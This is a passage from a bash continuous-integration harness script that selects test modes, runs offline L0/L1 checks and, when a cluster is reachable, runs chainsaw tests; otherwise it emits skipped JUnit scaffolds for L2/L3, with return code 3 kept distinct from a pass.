# writing nothing and running no check. A test that asserts "the gate's selection cannot
# filter me out" needs to ask that question without executing the suite it is part of.
if [ "${MODE}" = "print-selection" ]; then
select_dirs
exit 0
fi
log "Coverage report first (always)"
gen_coverage
case "${MODE}" in
coverage-only)
log "coverage-only: done. See ${COVERAGE_OUT}/coverage.md"
exit 0
;;
status)
# rc: 0 report written, 1 a derivation/strict failure, 3 a check could not run
# (SKIPPED, never counted as green — ci/lib.sh convention). Propagated as-is.
rc=0
# --strict-coverage is the harness's hygiene switch; apply it to status too.
status_flags=()
[ "${STRICT_COVERAGE}" = 1 ] && status_flags+=(--strict)
gen_status ${status_flags[@]+"${status_flags[@]}"} || rc=$?
log "status: done. See ${STATUS_OUT}/status.md"
exit "${rc}"
;;
lint)
lint_tests
log "lint: done."
exit 0
;;
esac
# L0 static + L1 rendering are cluster-independent (docs/14): run the selected offline
# checks and treat their result as authoritative REGARDLESS of cluster availability. An
# offline check failure is a real failure (nothing cluster-gated about it), so it always blocks.
# rc 3 is the harness-wide SKIPPED/not-run code (ci/README.md): NOT a pass, NOT a fail. The
# offline runner returns it when a test carrying a --unwired-scope scope SKIPPED — a whole-repo
# invariant reporting "nothing to audit" means the subtree it audits is gone, which the gate
# must see as UNWIRED. It is propagated verbatim so ci/l0.sh can set the gate's own rc=3,
# exactly as the deleted per-check stages did.
OFFLINE_RC=0
run_offline_checks || OFFLINE_RC=$?
if layers_are_offline_only; then
# Offline-only run (the ci/l0.sh + ci/l1.sh merge-gate paths): the offline result IS the result.
case "${OFFLINE_RC}" in
0) log "Done (offline ${LAYER}). JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md" ;;
3) log "Offline ${LAYER}: a scope-declared check SKIPPED — UNWIRED, not green (rc=3). JUnit: ${JUNIT_OUT}" ;;
*) log "Offline ${LAYER} checks FAILED (rc=${OFFLINE_RC}). JUnit: ${JUNIT_OUT}" ;;
esac
exit "${OFFLINE_RC}"
fi
if [ "${OFFLINE_RC}" -eq 3 ]; then
log "Offline L0/L1: a scope-declared check SKIPPED — UNWIRED, not green (rc=3)."
exit 3
fi
if [ "${OFFLINE_RC}" -ne 0 ]; then
log "Offline L0/L1 checks FAILED (rc=${OFFLINE_RC}) — blocking (not cluster-gated)."
exit "${OFFLINE_RC}"
fi
# run mode: need a cluster for L2/L3. Without one (Phase 0), emit skipped JUnit for the
# cluster-gated layers. (L1 already ran offline above and passed.)
if [ "${FORCE_NO_CLUSTER}" = 1 ] || ! conf_cluster_reachable; then
log "No reachable cluster — emitting SKIPPED JUnit scaffold for L2/L3 (Phase 0 behavior)."
log "NOTE: the offline L0/L1 results above already ran for real; this shim covers L2/L3 only."
log "Also running structural lint so scaffolds stay valid."
lint_tests || { log "lint failed"; exit 1; }
"${PYTHON}" "${CONF_ROOT}/lib/emit_skipped_junit.py" \
--tests "${CONF_ROOT}/tests" --out "${JUNIT_OUT}"
log "Done (scaffold mode). JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md"
exit 0
fi
command -v chainsaw >/dev/null 2>&1 || {
echo "ERROR: cluster reachable but 'chainsaw' (${CHAINSAW_VERSION}) not on PATH." >&2
echo "Install the pinned binary or run via the in-cluster Job (incluster/)." >&2
exit 3
}
run_chainsaw
log "Done. JUnit: ${JUNIT_OUT} | Coverage: ${COVERAGE_OUT}/coverage.md"